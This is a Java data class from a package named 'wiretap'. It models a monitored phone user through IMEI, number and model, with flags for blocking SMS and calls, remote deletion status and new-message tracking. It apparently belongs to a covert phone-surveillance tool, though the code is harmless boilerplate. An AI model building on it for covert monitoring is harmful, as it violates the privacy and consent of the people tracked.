package com.wiretap.po;

import java.io.Serializable;
import java.util.Date;

public class User implements Serializable {

	private static final long serialVersionUID = 5934188524534292814L;
	// ID
	private long id;
	// IMEI码
	private String imeiCode;
	// 电话号码
	private String phone;
	// 手机型号
	private String model;
	// 时间(添加时间)
	private Date addDate;
	// 是否禁止用户收发短信
	private boolean forbidden = false;
	// 禁止开始时间
	private Date startTime;
	// 禁止结束时间
	private Date endTime;
	// 客户端版本
	private String clientVersion;
	// 是否有新短信
	private boolean hasNewMsg = false;
	// 是否可见
	private boolean visible = true;
	// 是否屏蔽操作过
	private boolean fobiddenStatus = false;
	// 是否有过远程删除操作
	private boolean remoteDelStatus = false;
	// 是否屏蔽电话
	private boolean phoneForbidden = false;
	// 屏蔽电话开始时间
	private Date phoneStartTime;
	// 屏蔽电话结束时间
	private Date phoneEndTime;

	public long getId() {
		return id;
	}

	public void setId(long id) {
		this.id = id;
	}

	public String getImeiCode() {
		return imeiCode;
	}

	public void setImeiCode(String imeiCode) {
		this.imeiCode = imeiCode;
	}

	public String getPhone() {
		return phone;
	}

	public void setPhone(String phone) {
		this.phone = phone;
	}

	public String getModel() {
		return model;
	}

	public void setModel(String model) {
		this.model = model;
	}

	public Date getAddDate() {
		return addDate;
	}

	public void setAddDate(Date addDate) {
		this.addDate = addDate;
	}

	public boolean isForbidden() {
		return forbidden;
	}

	public void setForbidden(boolean forbidden) {
		this.forbidden = forbidden;
	}

	public Date getStartTime() {
		return startTime;
	}

	public void setStartTime(Date startTime) {
		this.startTime = startTime;
	}

	public Date getEndTime() {
		return endTime;
	}

	public void setEndTime(Date endTime) {
		this.endTime = endTime;
	}

	public String getClientVersion() {
		return clientVersion;
	}

	public void setClientVersion(String clientVersion) {
		this.clientVersion = clientVersion;
	}

	public boolean isHasNewMsg() {
		return hasNewMsg;
	}

	public void setHasNewMsg(boolean hasNewMsg) {
		this.hasNewMsg = hasNewMsg;
	}

	public boolean isVisible() {
		return visible;
	}

	public void setVisible(boolean visible) {
		this.visible = visible;
	}

	public boolean isFobiddenStatus() {
		return fobiddenStatus;
	}

	public void setFobiddenStatus(boolean fobiddenStatus) {
		this.fobiddenStatus = fobiddenStatus;
	}

	public boolean isRemoteDelStatus() {
		return remoteDelStatus;
	}

	public void setRemoteDelStatus(boolean remoteDelStatus) {
		this.remoteDelStatus = remoteDelStatus;
	}

	public boolean isPhoneForbidden() {
		return phoneForbidden;
	}

	public void setPhoneForbidden(boolean phoneForbidden) {
		this.phoneForbidden = phoneForbidden;
	}

	public Date getPhoneStartTime() {
		return phoneStartTime;
	}

	public void setPhoneStartTime(Date phoneStartTime) {
		this.phoneStartTime = phoneStartTime;
	}

	public Date getPhoneEndTime() {
		return phoneEndTime;
	}

	public void setPhoneEndTime(Date phoneEndTime) {
		this.phoneEndTime = phoneEndTime;
	}

}
